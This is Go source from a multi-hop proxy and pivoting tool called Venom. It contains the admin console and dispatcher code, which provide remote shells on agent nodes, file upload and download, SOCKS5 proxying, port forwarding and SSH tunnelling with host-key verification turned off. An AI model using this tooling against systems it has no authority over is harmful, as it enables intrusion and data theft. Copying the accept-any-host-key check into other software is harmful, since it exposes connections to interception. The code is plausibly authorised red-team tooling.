29 | // checkPeerNodeIsVaild 检查对端节点是否合法
30 | func checkPeerNodeIsVaild() bool {
31 | if currentPeerNodeHashID == node.CurrentNode.HashID {
32 | return true
33 | } else if node.Nodes[currentPeerNodeHashID] == nil {
34 | fmt.Println("the node is disconnected.")
35 | return false
36 | }
37 | return true
38 | }
39 |
40 | // need code refactoring
41 | // checkPeerNodeIsSelected 检查是否选择对端节点
42 | func checkPeerNodeIsSelected() bool {
43 | if currentPeerNodeHashID == node.CurrentNode.HashID {
44 | fmt.Println("you should choose the node first")
45 | return false
46 | } else if node.Nodes[currentPeerNodeHashID] == nil {
47 | fmt.Println("the node is disconnected.")
48 | return false
49 | }
50 | return true
51 | }
52 |
53 | func printNetworkMap() {
54 | printed := make(map[string]bool)
55 | fmt.Println("A")
56 | printed[node.CurrentNode.HashID] = true
57 | printEachMap(node.CurrentNode.HashID, 0, printed)
58 | }
59 |
60 | func printEachMap(nodeID string, depth int, printed map[string]bool) {
61 | for _, value := range node.GNetworkTopology.NetworkMap[nodeID] {
62 | if _, ok := printed[value]; ok {
63 | continue
64 | }
65 | for i := 0; i < depth; i++ {
66 | fmt.Print(" ")
67 | }
68 | fmt.Print("+ -- ")
69 | fmt.Println(node.GNodeInfo.NodeUUID2Number[value])
70 | printed[value] = true
71 | printEachMap(value, depth+1, printed)
72 | }
73 | }
74 |
75 | // Interactive 交互式控制
76 | func Interactive() {
77 | // 处理ctrl c的SIGINT信号
78 | // sigs := make(chan os.Signal, 1)
79 | // signal.Notify(sigs, syscall.SIGINT) //, syscall.SIGTERM)
80 | // shellExit := true
81 |
82 | // go func() {
83 | // for {
84 | // <-sigs
85 | // if !shellExit {
86 | // // ctrl c 处理函数
87 | // fmt.Println("Ctrl-C")
88 | // } else {
89 | // os.Exit(0)
90 | // }
91 | // }
92 | // }()
93 | var nodeID int
94 | var peerNode *node.Node
95 | // init
96 | currentPeerNodeHashID = node.CurrentNode.HashID
97 | for {
98 | if currentPeerNodeHashID == node.CurrentNode.HashID {
99 | fmt.Print("(admin node) >>> ")
100 | } else {
101 | fmt.Printf("(node %d) >>> ", nodeID)
102 | }
103 | var cmdStr string
104 | fmt.Scanf("%s", &cmdStr)
105 | switch cmdStr {
106 | case "help":
107 | ShowUsage()
108 | case "show":
109 | dispather.SendSyncCmd()
110 | printNetworkMap()
111 | case "setdes":
112 | if !checkPeerNodeIsSelected() {
113 | break
114 | }
115 | var description string
116 | reader := bufio.NewReader(os.Stdin)
117 | descriptionBytes, _, _ := reader.ReadLine()
118 | description = string(descriptionBytes)
119 | node.GNodeInfo.NodeDescription[currentPeerNodeHashID] = description
120 | case "getdes":
121 | if !checkPeerNodeIsSelected() {
122 | break
123 | }
124 | fmt.Println(node.GNodeInfo.NodeDescription[currentPeerNodeHashID])
125 | case "goto":
126 | // need code refactoring
127 | var tmpNodeID int
128 | fmt.Scanf("%d", &tmpNodeID)
129 | if tmpNodeID == 0 {
130 | // admin
131 | currentPeerNodeHashID = node.CurrentNode.HashID
132 | break
133 | } else if _, ok := node.GNodeInfo.NodeNumber2UUID[tmpNodeID]; ok {
134 | nodeID = tmpNodeID
135 | } else {
136 | fmt.Println("unknown node id.")
137 | break
138 | }
139 | currentPeerNodeHashID = node.GNodeInfo.NodeNumber2UUID[nodeID]
140 | // nextNodeID := node.GNetworkTopology.RouteTable[currentPeerNodeHashID]
141 | // nextNode = node.Nodes[nextNodeID]
142 | peerNode = node.Nodes[currentPeerNodeHashID]
143 | case "listen":
144 | var port uint16
145 | fmt.Scanf("%d", &port)
146 | fmt.Println("listen port", port)
147 | if port > 65535 || port < 1 {
148 | fmt.Println("port number error.")
149 | break
150 | }
151 | if checkPeerNodeIsVaild() {
152 | if isAdmin() {
153 | dispather.BuiltinListenCmd(port)
154 | } else {
155 | dispather.SendListenCmd(peerNode, port)
156 | }
157 | }
158 | case "connect":
159 | var ipString string
160 | var port uint16
161 | fmt.Scanf("%s %d", &ipString, &port)
162 | fmt.Println("connect to", ipString, port)
163 | ip := net.ParseIP(ipString)
164 | if ip == nil {
165 | fmt.Println("invalid ip address.")
166 | break
167 | }
168 | if checkPeerNodeIsVaild() {
169 | if isAdmin() {
170 | dispather.BuiltinConnectCmd(ipString, port)
171 | } else {
172 | dispather.SendConnectCmd(peerNode, ipString, port)
173 | }
174 | }
175 | case "socks":
176 | if !checkPeerNodeIsSelected() {
177 | break
178 | }
179 | var port uint16
180 | fmt.Scanf("%d", &port)
181 | if port > 65535 || port < 1 {
182 | fmt.Println("port number error.")
183 | break
184 | }
185 | dispather.SendSocks5Cmd(peerNode, port)
186 | case "shell":
187 | if !checkPeerNodeIsSelected() {
188 | break
189 | }
190 | utils.HandleWindowsCR()
191 | fmt.Println("You can execute commands in this shell :D, 'exit' to exit.")
192 | // shellExit = false
193 | dispather.SendShellCmd(peerNode)
194 | // shellExit = true
195 | continue
196 | case "upload":
197 | if !checkPeerNodeIsSelected() {
198 | break
199 | }
200 | var localPath string
201 | var remotePath string
202 |
203 | fmt.Scanf("%s %s", &localPath, &remotePath)
204 | fmt.Println("upload", localPath, fmt.Sprintf("to node %d:", nodeID), remotePath)
205 | dispather.SendUploadCmd(peerNode, localPath, remotePath)
206 | case "download":
207 | if !checkPeerNodeIsSelected() {
208 | break
209 | }
210 | var remotePath string
211 | var localPath string
212 | fmt.Scanf("%s %s", &remotePath, &localPath)
213 | fmt.Println("download", localPath, fmt.Sprintf("from node %d:", nodeID), remotePath)
214 | dispather.SendDownloadCmd(peerNode, remotePath, localPath)
215 | case "lforward":
216 | if !checkPeerNodeIsSelected() {
217 | break
218 | }
219 | var sport uint16
220 | var dport uint16
221 | var lhostString string
222 | fmt.Scanf("%s %d %d", &lhostString, &sport, &dport)
223 | lhost := net.ParseIP(lhostString)
224 | if lhost == nil {
225 | fmt.Println("invalid ip address.")
226 | break
227 | }
228 | fmt.Printf("forward local network %s port %d to remote port %d\n", lhostString, sport, dport)
229 | dispather.SendLForwardCmd(peerNode, sport, lhostString, dport)
230 | case "rforward":
231 | if !checkPeerNodeIsSelected() {
232 | break
233 | }
234 | var sport uint16
235 | var dport uint16
236 | var rhostString string
237 | fmt.Scanf("%s %d %d", &rhostString, &sport, &dport)
238 | rhost := net.ParseIP(rhostString)
239 | if rhost == nil {
240 | fmt.Println("invalid ip address.")
241 | break
242 | }
243 | fmt.Printf("forward remote network %s port %d to local port %d\n", rhostString, sport, dport)
244 | dispather.SendRForwardCmd(peerNode, rhostString, sport, dport)
245 | case "sshconnect":
246 | // sshconnect user:password@10.1.1.1:22 9999
247 | var sshString string
248 | var dport uint16
249 | fmt.Scanf("%s %d", &sshString, &dport)
250 | var sshUser string
251 | var sshHost string
252 | var sshPort uint16
253 | if parts := strings.Split(sshString, "@"); len(parts) > 1 {
254 | sshUser = parts[0]
255 | sshHost = parts[1]
256 | }
257 | parts := strings.Split(sshHost, ":")
258 | sshHost = parts[0]
259 | if len(parts) > 1 {
260 | tmp, _ := strconv.Atoi(parts[1])
261 | sshPort = uint16(tmp)
262 | } else if len(parts) == 1 {
263 | sshPort = 22
264 | }
265 | if net.ParseIP(sshHost) == nil {
266 | fmt.Println("invalid ssh server ip address.")
267 | break
268 | }
269 | fmt.Print("use password (1) / ssh key (2)? ")
270 | var choice uint16
271 | fmt.Scanf("%d", &choice)
272 | if checkPeerNodeIsVaild() {
273 | switch choice {
274 | case 1:
275 | fmt.Print("password: ")
276 | var password string
277 | fmt.Scanf("%s", &password)
278 | fmt.Printf("connect to target host's %d through ssh tunnel (%s@%s:%d).\n", dport, sshUser, sshHost, sshPort)
279 | if isAdmin() {
280 | dispather.BuiltinSshConnectCmd(sshUser, sshHost, sshPort, dport, choice, password)
281 | } else {
282 | dispather.SendSshConnectCmd(peerNode, sshUser, sshHost, sshPort, dport, choice, password)
283 | }
284 | case 2:
285 | fmt.Print("file path of ssh key: ")
286 | var path string
287 | fmt.Scanf("%s", &path)
288 | sshKey, err := ioutil.ReadFile(path)
289 | if err != nil {
290 | fmt.Println("ssh key error:", err)
291 | break
292 | }
293 | fmt.Printf("connect to target host's %d through ssh tunnel (%s@%s:%d).\n", dport, sshUser, sshHost, sshPort)
294 | if isAdmin() {
295 | dispather.BuiltinSshConnectCmd(sshUser, sshHost, sshPort, dport, choice, string(sshKey))
296 | } else {
297 | dispather.SendSshConnectCmd(peerNode, sshUser, sshHost, sshPort, dport, choice, string(sshKey))
298 | }
299 | default:
300 | fmt.Println("unknown choice.")
301 | break
302 | }
303 | }
304 | case "exit":
305 | os.Exit(0)
306 | case "":
307 | continue
308 | default:
309 | fmt.Println("unknown command, use \"help\" to see all commands.")
310 | }
311 | utils.HandleWindowsCR()
312 | }
313 | }
314 |
--------------------------------------------------------------------------------
/admin/dispather/builtin.go:
--------------------------------------------------------------------------------
1 | package dispather
2 |
3 | import (
4 | "fmt"
5 | "net"
6 | "time"
7 |
8 | "github.com/Dliv3/Venom/netio"
9 | "golang.org/x/crypto/ssh"
10 | )
11 |
12 | const TIMEOUT = 5
13 |
14 | func BuiltinSshConnectCmd(sshUser string, sshHost string, sshPort uint16, dport uint16, sshAuthMethod uint16, sshAuthData string) {
15 | var auth ssh.AuthMethod
16 | if sshAuthMethod == 1 {
17 | auth = ssh.Password(sshAuthData)
18 | } else if sshAuthMethod == 2 {
19 | key, err := ssh.ParsePrivateKey([]byte(sshAuthData))
20 | if err != nil {
21 | fmt.Println("ssh failed to connects to the remote node !")
22 | fmt.Println("ssh key error!")
23 | return
24 | }
25 | auth = ssh.PublicKeys(key)
26 | }
27 |
28 | config := ssh.ClientConfig{
29 | User: sshUser,
30 | Auth: []ssh.AuthMethod{
31 | auth,
32 | },
33 | HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {
34 | return nil
35 | },
36 | Timeout: time.Duration(time.Second * TIMEOUT),
37 | }
38 |
39 | sshClient, err := ssh.Dial(
40 | "tcp",
41 | fmt.Sprintf("%s:%d", sshHost, sshPort),
42 | &config,
43 | )
44 | if err != nil {
45 | fmt.Println("ssh failed to connects to the remote node !")
46 | fmt.Printf("ssh connection error: %s\n", err)
47 | return
48 | }
49 |
50 | nodeConn, err := sshClient.Dial("tcp", fmt.Sprintf("127.0.0.1:%d", dport))
51 | if err != nil {
52 | fmt.Println("ssh failed to connects to the remote node !")
53 | fmt.Printf("ssh connect to target node error: %s\n", err)
54 | return
55 | }
56 | AdminClient(nodeConn)
57 | }
58 |
59 | func BuiltinListenCmd(port uint16) {
60 | err := netio.InitNode(
61 | "listen",
62 | fmt.Sprintf("0.0.0.0:%d", port),
63 | AdminServer, false, 0)
64 | if err != nil {
65 | fmt.Println(fmt.Sprintf("failed to open the port %d!", port))
66 | return
67 | }
68 | fmt.Printf("the port %d is successfully listening on the remote node!\n", port)
69 | }
70 |
71 | func BuiltinConnectCmd(ipString string, port uint16) {
72 | err := netio.InitNode(
73 | "connect",
74 | fmt.Sprintf("%s:%d", ipString, port),
75 | AdminClient, false, 0)
76 | if err != nil {
77 | fmt.Println("failed to connect to the remote node!")
78 | fmt.Println(err)
79 | return
80 | }
81 | fmt.Println("successfully connect to the remote node!")
82 | }
83 |
--------------------------------------------------------------------------------
/admin/dispather/forward.go:
--------------------------------------------------------------------------------
1 | package dispather
2 |
3 | import (
4 | "bytes"
5 | "io"
6 | "runtime"
7 |
8 | "github.com/Dliv3/Venom/global"
9 | "github.com/Dliv3/Venom/node"
10 | "github.com/Dliv3/Venom/protocol"
11 | "github.com/Dliv3/Venom/utils"
12 | )
13 |
14 | func CopyStdin2Node(input io.Reader, output *node.Node, c chan bool) {
15 |
16 | orgBuf := make([]byte, global.MAX_PACKET_SIZE-8)
17 |
18 | for {
19 | count, err := input.Read(orgBuf)
20 |
21 | // fmt.Println(orgBuf[:count])
22 |
23 | var buf []byte
24 |
25 | // // delete \r
26 | if runtime.GOOS == "windows" {
27 | buf = bytes.Replace(orgBuf[:count], []byte("\r"), []byte(""), -1)
28 | count = len(buf)
29 | } else {
30 | buf = orgBuf
31 | }
32 | // fmt.Println(buf[:count])
33 | if count > 0 {
34 | data := protocol.ShellPacketCmd{
35 | Start: 1,
36 | CmdLen: uint32(count),
37 | Cmd: buf[:count],
38 | }
39 | packetHeader := protocol.PacketHeader{
40 | Separator: global.PROTOCOL_SEPARATOR,
41 | CmdType: protocol.SHELL,
42 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID),
43 | DstHashID: utils.UUIDToArray32(output.HashID),
44 | }
45 | writeErr := output.WritePacket(packetHeader, data)
46 | if writeErr != nil {
47 | // 强制结束 CommandBuffers[protocol.SHELL]
48 | node.CurrentNode.CommandBuffers[protocol.SHELL].WriteCloseMessage()
49 | }
50 | if string(buf[:count]) == "exit\n" {
51 | break
52 | }
53 | }
54 | if err != nil {
55 | break
56 | }
57 | }
58 | c <- true
59 | // fmt.Println("CopyStdin2Node Exit")
60 |
61 | return
62 | }
63 |
64 | func CopyNode2Stdout(input *node.Node, output io.Writer, c chan bool) {
65 | for {
66 | var packetHeader protocol.PacketHeader
67 | var shellPacketRet protocol.ShellPacketRet
68 | err := node.CurrentNode.CommandBuffers[protocol.SHELL].ReadPacket(&packetHeader, &shellPacketRet)
69 | if err != nil {
70 | break
71 | }
72 | if shellPacketRet.Success == 0 {
73 | break
74 | }
75 | output.Write(shellPacketRet.Data)
76 | }
77 | c <- true
78 | // fmt.Println("CopyNode2Stdout Exit")
79 |
80 | return
81 | }
82 |
--------------------------------------------------------------------------------
/admin/dispather/handler.go:
--------------------------------------------------------------------------------
1 | package dispather
2 |
3 | import (
4 | "fmt"
5 | "net"
6 |
7 | "github.com/Dliv3/Venom/crypto"
8 | "github.com/Dliv3/Venom/global"
9 | "github.com/Dliv3/Venom/netio"
10 | "github.com/Dliv3/Venom/node"
11 | "github.com/Dliv3/Venom/protocol"
12 | "github.com/Dliv3/Venom/utils"
13 | )
14 |
15 | // AdminClient Admin节点作为Client
16 | func AdminClient(conn net.Conn) {
17 | result, peerNode := node.ClentInitConnection(conn)
18 | if result {
19 | go node.CurrentNode.CommandHandler(peerNode)
20 | }
21 | }
22 |
23 | // AdminServer Admin节点作为Server
24 | func AdminServer(conn net.Conn) {
25 | fmt.Println("\n[+]Remote connection: ", conn.RemoteAddr())
26 | result, peerNode := node.ServerInitConnection(conn)
27 | if result {
28 | fmt.Print("[+]A new node connect to admin node success")
29 | go node.CurrentNode.CommandHandler(peerNode)
30 | }
31 | }
32 |
33 | var LForwardTarget map[string]bool
34 |
35 | func InitAdminHandler() {
36 | LForwardTarget = make(map[string]bool)
37 | go handleLForward()
38 | }
39 |
40 | func handleLForward() {
41 | for {
42 | var packetHeaderRet protocol.PacketHeader
43 | var lforwardPacketRet protocol.NetLForwardPacketRet
44 |
45 | node.CurrentNode.CommandBuffers[protocol.LFORWARD].ReadPacket(&packetHeaderRet, &lforwardPacketRet)
46 |
47 | if lforwardPacketRet.Success == 0 {
48 | fmt.Println("lforward error on agent.")
49 | continue
50 | }
51 |
52 | peerNode := node.Nodes[utils.Array32ToUUID(packetHeaderRet.SrcHashID)]
53 |
54 | sessionID := lforwardPacketRet.SessionID
55 |
56 | // 初始化对应SessionID的Buffer
57 | peerNode.DataBuffers[protocol.LFORWARDDATA].NewDataBuffer(sessionID)
58 |
59 | lhost := utils.Uint32ToIp(lforwardPacketRet.LHost).String()
60 | sport := lforwardPacketRet.SrcPort
61 |
62 | if _, ok := LForwardTarget[crypto.Sha256(fmt.Sprintf("%s:%d", lhost, sport))]; !ok {
63 | continue
64 | }
65 |
66 | err := netio.InitTCP(
67 | "connect",
68 | fmt.Sprintf("%s:%d", lhost, sport),
69 | peerNode.HashID,
70 | func(conn net.Conn, peerNodeID string, done chan bool, args ...interface{}) {
71 | defer func() {
72 | // fmt.Println(" ################ admin close ################")
73 | closeData := protocol.NetDataPacket{
74 | SessionID: sessionID,
75 | Close: 1,
76 | }
77 | packetHeader := protocol.PacketHeader{
78 | Separator: global.PROTOCOL_SEPARATOR,
79 | CmdType: protocol.LFORWARDDATA,
80 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID),
81 | DstHashID: utils.UUIDToArray32(peerNode.HashID),
82 | }
83 | peerNode.WritePacket(packetHeader, closeData)
84 |
85 | // peerNode.DataBuffers[protocol.LFORWARDDATA].RealseDataBuffer(sessionID)
86 | // runtime.GC()
87 | }()
88 | c := make(chan bool, 2)
89 |
90 | go node.CopyNet2Node(conn, peerNode, sessionID, protocol.LFORWARDDATA, c)
91 | go node.CopyNode2Net(peerNode, conn, sessionID, protocol.LFORWARDDATA, c)
92 |
93 | <-c
94 | })
95 |
96 | if err != nil {
97 | // fmt.Println("################ admin close ################")
98 | closeData := protocol.NetDataPacket{
99 | SessionID: sessionID,
100 | Close: 1,
101 | }
102 | packetHeader := protocol.PacketHeader{
103 | Separator: global.PROTOCOL_SEPARATOR,
104 | CmdType: protocol.LFORWARDDATA,
105 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID),
106 | DstHashID: utils.UUIDToArray32(peerNode.HashID),
107 | }
108 | peerNode.WritePacket(packetHeader, closeData)
109 |
110 | // peerNode.DataBuffers[protocol.LFORWARDDATA].RealseDataBuffer(sessionID)
111 | // runtime.GC()
112 | }
113 | }
114 | }
115 |
--------------------------------------------------------------------------------
/admin/dispather/proxy.go:
--------------------------------------------------------------------------------
1 | package dispather
2 |
3 | import (
4 | "encoding/binary"
5 | "errors"
6 | "io"
7 | "log"
8 | "net"
9 | "strconv"
10 |
11 | "github.com/Dliv3/Venom/global"
12 | "github.com/Dliv3/Venom/node"
13 | "github.com/Dliv3/Venom/protocol"
14 | "github.com/Dliv3/Venom/utils"
15 | )
16 |
17 | var (
18 | Commands = []string{"CONNECT", "BIND", "UDP ASSOCIATE"}
19 | AddrType = []string{"", "IPv4", "", "Domain", "IPv6"}
20 | Conns = make([]net.Conn, 0)
21 | Verbose = false
22 |
23 | errAddrType = errors.New("socks addr type not supported")
24 | errVer = errors.New("socks version not supported")
25 | errMethod = errors.New("socks only support noauth method")
26 | errAuthExtraData = errors.New("socks authentication get extra data")
27 | errReqExtraData = errors.New("socks request get extra data")
28 | errCmd = errors.New("socks only support connect command")
29 | )
30 |
31 | const (
32 | socksVer5 = 0x05
33 | socksCmdConnect = 0x01
34 | )
35 |
36 | func AdminHandShake(conn net.Conn, peerNode *node.Node, currentSessionID uint16) (err error) {
37 | const (
38 | idVer = 0
39 | idNmethod = 1
40 | )
41 |
42 | buf := make([]byte, 258)
43 |
44 | var n int
45 |
46 | // make sure we get the nmethod field
47 | // when node is admin
48 |
49 | if n, err = io.ReadAtLeast(conn, buf, idNmethod+1); err != nil {
50 | return
51 | }
52 |
53 | socks5Data := protocol.NetDataPacket{
54 | SessionID: currentSessionID,
55 | DataLen: uint32(n),
56 | Data: buf[:n],
57 | }
58 | size, _ := utils.PacketSize(socks5Data)
59 | packetHeader := protocol.PacketHeader{
60 | Separator: global.PROTOCOL_SEPARATOR,
61 | CmdType: protocol.SOCKSDATA,
62 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID),
63 | DstHashID: utils.UUIDToArray32(peerNode.HashID),
64 | DataLen: size,
65 | }
66 | peerNode.WritePacket(packetHeader, socks5Data)
67 |
68 | if buf[idVer] != socksVer5 {
69 | return errVer
70 | }
71 |
72 | nmethod := int(buf[idNmethod]) // client support auth mode
73 | msgLen := nmethod + 2 // auth msg length
74 | if n == msgLen { // handshake done, common case
75 | // do nothing, jump directly to send confirmation
76 | } else if n < msgLen { // has more methods to read, rare case
77 | if _, err = io.ReadFull(conn, buf[n:msgLen]); err != nil {
78 | return
79 | }
80 | socks5Data := protocol.NetDataPacket{
81 | SessionID: currentSessionID,
82 | DataLen: uint32(msgLen - n),
83 | Data: buf[n:msgLen],
84 | }
85 | size, _ := utils.PacketSize(socks5Data)
86 | packetHeader := protocol.PacketHeader{
87 | Separator: global.PROTOCOL_SEPARATOR,
88 | CmdType: protocol.SOCKSDATA,
89 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID),
90 | DstHashID: utils.UUIDToArray32(peerNode.HashID),
91 | DataLen: size,
92 | }
93 | peerNode.WritePacket(packetHeader, socks5Data)
94 | } else { // error, should not get extra data
95 | return errAuthExtraData
96 | }
97 | return
98 | }
99 |
100 | func AdminParseTarget(conn net.Conn, peerNode *node.Node, currentSessionID uint16) (host string, err error) {
101 | const (
102 | idVer = 0
103 | idCmd = 1
104 | idType = 3 // address type index
105 | idIP0 = 4 // ip addres start index
106 | idDmLen = 4 // domain address length index
107 | idDm0 = 5 // domain address start index
108 |
109 | typeIPv4 = 1 // type is ipv4 address
110 | typeDm = 3 // type is domain address
111 | typeIPv6 = 4 // type is ipv6 address
112 |
113 | lenIPv4 = 3 + 1 + net.IPv4len + 2 // 3(ver+cmd+rsv) + 1addrType + ipv4 + 2port
114 | lenIPv6 = 3 + 1 + net.IPv6len + 2 // 3(ver+cmd+rsv) + 1addrType + ipv6 + 2port
115 | lenDmBase = 3 + 1 + 1 + 2 // 3 + 1addrType + 1addrLen + 2port, plus addrLen
116 | )
117 | // refer to getRequest in server.go for why set buffer size to 263
118 | buf := make([]byte, 263)
119 | var n int
120 |
121 | // read till we get possible domain length field
122 | if n, err = io.ReadAtLeast(conn, buf, idDmLen+1); err != nil {
123 | return
124 | }
125 |
126 | socks5Data := protocol.NetDataPacket{
127 | SessionID: currentSessionID,
128 | DataLen: uint32(n),
129 | Data: buf[:n],
130 | }
131 | size, _ := utils.PacketSize(socks5Data)
132 | packetHeader := protocol.PacketHeader{
133 | Separator: global.PROTOCOL_SEPARATOR,
134 | CmdType: protocol.SOCKSDATA,
135 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID),
136 | DstHashID: utils.UUIDToArray32(peerNode.HashID),
137 | DataLen: size,
138 | }
139 | peerNode.WritePacket(packetHeader, socks5Data)
140 |
141 | // check version and cmd
142 | if buf[idVer] != socksVer5 {
143 | err = errVer
144 | return
145 | }
146 |
147 | /*
148 | CONNECT X'01'
149 | BIND X'02'
150 | UDP ASSOCIATE X'03'
151 | */
152 |
153 | if buf[idCmd] > 0x03 || buf[idCmd] == 0x00 {
154 | log.Println("Unknown Command", buf[idCmd])
155 | }
156 |
157 | if Verbose {
158 | log.Println("Command:", Commands[buf[idCmd]-1])
159 | }
160 |
161 | if buf[idCmd] != socksCmdConnect { // only support CONNECT mode
162 | err = errCmd
163 | return
164 | }
165 |
166 | // read target address
167 | reqLen := -1
168 | switch buf[idType] {
169 | case typeIPv4:
170 | reqLen = lenIPv4
171 | case typeIPv6:
172 | reqLen = lenIPv6
173 | case typeDm: // domain name
174 | reqLen = int(buf[idDmLen]) + lenDmBase
175 | default:
176 | err = errAddrType
177 | return
178 | }
179 |
180 | if n == reqLen {
181 | // common case, do nothing
182 | } else if n < reqLen { // rare case
183 | if _, err = io.ReadFull(conn, buf[n:reqLen]); err != nil {
184 | return
185 | }
186 | socks5Data := protocol.NetDataPacket{
187 | SessionID: currentSessionID,
188 | DataLen: uint32(reqLen - n),
189 | Data: buf[n:reqLen],
190 | }
191 | size, _ := utils.PacketSize(socks5Data)
192 | packetHeader := protocol.PacketHeader{
193 | Separator: global.PROTOCOL_SEPARATOR,
194 | CmdType: protocol.SOCKSDATA,
195 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID),
196 | DstHashID: utils.UUIDToArray32(peerNode.HashID),
197 | DataLen: size,
198 | }
199 | peerNode.WritePacket(packetHeader, socks5Data)
200 | } else {
201 | err = errReqExtraData
202 | return
203 | }
204 |
205 | switch buf[idType] {
206 | case typeIPv4:
207 | host = net.IP(buf[idIP0 : idIP0+net.IPv4len]).String()
208 | case typeIPv6:
209 | host = net.IP(buf[idIP0 : idIP0+net.IPv6len]).String()
210 | case typeDm:
211 | host = string(buf[idDm0 : idDm0+buf[idDmLen]])
212 | }
213 | port := binary.BigEndian.Uint16(buf[reqLen-2 : reqLen])
214 | host = net.JoinHostPort(host, strconv.Itoa(int(port)))
215 | return
216 | }
217 |
--------------------------------------------------------------------------------
/admin/dispather/sender.go:
--------------------------------------------------------------------------------
1 | package dispather
2 |
3 | import (
4 | "fmt"
5 | "io"
6 | "net"
7 | "os"
8 |
9 | "github.com/Dliv3/Venom/crypto"
10 | "github.com/Dliv3/Venom/global"
11 | "github.com/Dliv3/Venom/netio"
12 | "github.com/Dliv3/Venom/node"
13 | "github.com/Dliv3/Venom/protocol"
14 | "github.com/Dliv3/Venom/utils"
15 | "github.com/cheggaaa/pb/v3"
16 | )
17 |
18 | // SendSyncCmd 发送同步网络拓扑的命令
19 | func SendSyncCmd() {
20 |
21 | // 重新初始化网络拓扑,这样当有节点断开时网络拓扑会实时改变
22 | node.GNetworkTopology.InitNetworkMap()
23 |
24 | networkMap := node.GNetworkTopology.GenerateNetworkMapData()
25 |
26 | for i := range node.Nodes {
27 | // 向直连的节点发送SYNC数据包,同步网络拓扑
28 | // 目标节点会递归处理SYNC数据包,以获得全网拓扑
29 | if node.Nodes[i].DirectConnection {
30 |
31 | // 构造命令数据包
32 | packetHeader := protocol.PacketHeader{
33 | Separator: global.PROTOCOL_SEPARATOR,
34 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID),
35 | DstHashID: utils.UUIDToArray32(node.Nodes[i].HashID),
36 | CmdType: protocol.SYNC,
37 | }
38 | // 生成本节点网络拓扑数据
39 | syncPacket := protocol.SyncPacket{
40 | NetworkMapLen: uint64(len(networkMap)),
41 | NetworkMap: networkMap,
42 | }
43 |
44 | // 发送命令数据包
45 | node.Nodes[i].WritePacket(packetHeader, syncPacket)
46 |
47 | // 读取返回数据包
48 | node.CurrentNode.CommandBuffers[protocol.SYNC].ReadPacket(&packetHeader, &syncPacket)
49 |
50 | // 解析网络拓扑数据包
51 | node.GNetworkTopology.ResolveNetworkMapData(syncPacket.NetworkMap)
52 | }
53 | }
54 |
55 | // 生成路由表
56 | node.GNetworkTopology.UpdateRouteTable()
57 |
58 | // 生成节点信息
59 | node.GNodeInfo.UpdateNoteInfo()
60 |
61 | // fmt.Println(node.CurrentNode.HashID)
62 | // fmt.Println(node.GNetworkTopology.RouteTable)
63 | // fmt.Println(node.GNetworkTopology.NetworkMap)
64 |
65 | // 创建Node结构体
66 | // TODO 是否应该动态更新?目前觉得不需要,断掉的节点也可以留着,动态更新反而麻烦
67 | for key, value := range node.GNetworkTopology.RouteTable {
68 | if _, ok := node.Nodes[key]; !ok {
69 | // node.Nodes[key] = &node.Node{
70 | // HashID: key,
71 | // Conn: node.Nodes[value].Conn,
72 | // ConnReadLock: &sync.Mutex{},
73 | // ConnWriteLock: &sync.Mutex{},
74 | // // Socks5SessionIDLock: &sync.Mutex{},
75 | // // Socks5DataBufferLock: &sync.RWMutex{},
76 | // }
77 | // node.Nodes[key].InitDataBuffer()
78 |
79 | node.Nodes[key] = node.NewNode(
80 | 0,
81 | key,
82 | node.Nodes[value].Conn,
83 | false,
84 | )
85 | }
86 | }
87 |
88 | }
89 |
90 | // SendListenCmd 发送监听端口命令
91 | func SendListenCmd(peerNode *node.Node, port uint16) {
92 | listenPacketCmd := protocol.ListenPacketCmd{
93 | Port: port,
94 | }
95 | packetHeader := protocol.PacketHeader{
96 | Separator: global.PROTOCOL_SEPARATOR,
97 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID),
98 | DstHashID: utils.UUIDToArray32(peerNode.HashID),
99 | CmdType: protocol.LISTEN,
100 | }
101 |
102 | peerNode.WritePacket(packetHeader, listenPacketCmd)
103 |
104 | var listenPacketRet protocol.ListenPacketRet
105 | node.CurrentNode.CommandBuffers[protocol.LISTEN].ReadPacket(&packetHeader, &listenPacketRet)
106 |
107 | if listenPacketRet.Success == 1 {
108 | fmt.Println(fmt.Sprintf("the port %d is successfully listening on the remote node!", port))
109 | } else {
110 | fmt.Println(fmt.Sprintf("failed to open the port %d on the remote node!", port))
111 | fmt.Println(string(listenPacketRet.Msg))
112 | }
113 | }
114 |
115 | // SendConnectCmd 发送连接命令
116 | func SendConnectCmd(peerNode *node.Node, ip string, port uint16) {
117 | connectPacketCmd := protocol.ConnectPacketCmd{
118 | IP: utils.IpToUint32(net.ParseIP(ip)),
119 | Port: port,
120 | }
121 | packetHeader := protocol.PacketHeader{
122 | Separator: global.PROTOCOL_SEPARATOR,
123 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID),
124 | DstHashID: utils.UUIDToArray32(peerNode.HashID),
125 | CmdType: protocol.CONNECT,
126 | }
127 |
128 | peerNode.WritePacket(packetHeader, connectPacketCmd)
129 |
130 | var connectPacketRet protocol.ConnectPacketRet
131 | node.CurrentNode.CommandBuffers[protocol.CONNECT].ReadPacket(&packetHeader, &connectPacketRet)
132 |
133 | if connectPacketRet.Success == 1 {
134 | fmt.Println("successfully connect to the remote node!")
135 | } else {
136 | fmt.Println("failed to connect to the remote node!")
137 | fmt.Println(string(connectPacketRet.Msg))
138 | }
139 | }
140 |
141 | // SendDownloadCmd 发送下载命令
142 | func SendDownloadCmd(peerNode *node.Node, remotePath string, localPath string) bool {
143 | /* ----------- before download file ---------- */
144 | if utils.FileExists(localPath) {
145 | fmt.Println("local file already exists")
146 | return false
147 | }
148 |
149 | localFile, err := os.OpenFile(localPath, os.O_WRONLY|os.O_CREATE, 0644)
150 | if err != nil {
151 | fmt.Println(err)
152 | return false
153 | }
154 |
155 | defer localFile.Close()
156 |
157 | downloadPacketCmd := protocol.DownloadPacketCmd{
158 | PathLen: uint32(len(remotePath)),
159 | Path: []byte(remotePath),
160 | }
161 | packetHeader := protocol.PacketHeader{
162 | Separator: global.PROTOCOL_SEPARATOR,
163 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID),
